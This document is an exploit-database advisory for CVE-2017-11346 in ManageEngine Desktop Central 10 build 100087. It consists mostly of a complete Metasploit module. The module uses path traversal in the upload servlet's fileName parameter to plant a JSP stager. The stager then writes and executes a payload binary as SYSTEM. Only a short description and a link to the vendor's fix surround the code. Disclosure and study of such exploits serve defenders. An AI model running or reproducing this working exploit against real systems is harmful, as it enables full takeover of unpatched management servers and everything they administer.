ManageEngine Desktop Central 10 Build 100087 Remote Code Execution

This Metasploit module exploits a vulnerability found in ManageEngine Desktop Central 10. When uploading a file, the FileUploadServlet class does not check the user-controlled fileName parameter. This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. This exploit was successfully tested on version 10, build 100087.


MD5 | 386fa43dc27bca19440cf9b03bd04679

# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
# Date: 24-07-2017
# Software Link: https://www.manageengine.com/products/desktop-central/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# CVE: CVE-2017-11346
# Category: remote

1. Description

When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.

https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html

2. Proof of Concept

Metasploit module:

https://github.com/kacperszurek/exploits/blob/master/ManageEngineDesktopCentral/manageengine_filename_rce.rb

manageengine_filename_rce.rb:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
uploading a file, the FileUploadServlet class does not check the user-controlled
fileName parameter. This allows a remote attacker to create a malicious file and place
it under a directory that allows server-side scripts to run,
which results in remote code execution under the context of SYSTEM.

This exploit was successfully tested on version 10, build 100087.

Exploit code based on https://www.exploit-db.com/exploits/38982/
},
'License' => MSF_LICENSE,
'Author' => [ 'Kacper Szurek' ],
'References' =>
[
[ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'ManageEngine Desktop Central 10 on Windows', {} ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "July 24 2017",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
Opt::RPORT(8020)
], self.class)
end

def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end

def get_jsp_stager
exe = generate_payload_exe(code: payload.encoded)
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"

register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

{
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
jsp_name: jsp_fname
}
end

def get_build_number(res)
inputs = res.get_hidden_inputs
inputs.first['buildNum']
end

def get_html_title(res)
html = res.body
n = ::Nokogiri::HTML(html)
x = n.xpath('//title').text
end

def check
uri = normalize_uri(target_uri.path, '/configurations.do')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
end

build_number = get_build_number(res)
if build_number.to_s.empty?
print_error("Cannot find build number")
else
print_status("Found build number: #{build_number}")
end

html_title = get_html_title(res)

if html_title.to_s.empty?
print_error("Cannot find title")
else
print_status("Found title: #{html_title}")
end

if build_number.to_i <= 100087
return Exploit::CheckCode::Appears
elsif /ManageEngine Desktop Central 10/ === html_title
return Exploit::CheckCode::Detected
end


Exploit::CheckCode::Safe
end

def upload_jsp(stager_info)
uri = normalize_uri(target_uri.path, 'fileupload')

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/octet-stream',
'encode_params' => false,
'data' => stager_info[:jsp_payload],
'vars_get' => {
'action' => 'HelpDesk_video',
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
'resourceId' => 1,
'customerId' => 1,
'fileName' => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
}
})

if res.nil?
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
end
end

def exec_jsp(stager_info)
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil?
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
end
end

def exploit
print_status("Creating JSP stager")
stager_info = get_jsp_stager

print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
upload_jsp(stager_info)

print_status("Executing stager...")
exec_jsp(stager_info)
end

end


3. Solution:

https://www.manageengine.com/products/desktop-central/remote-code-execution.html

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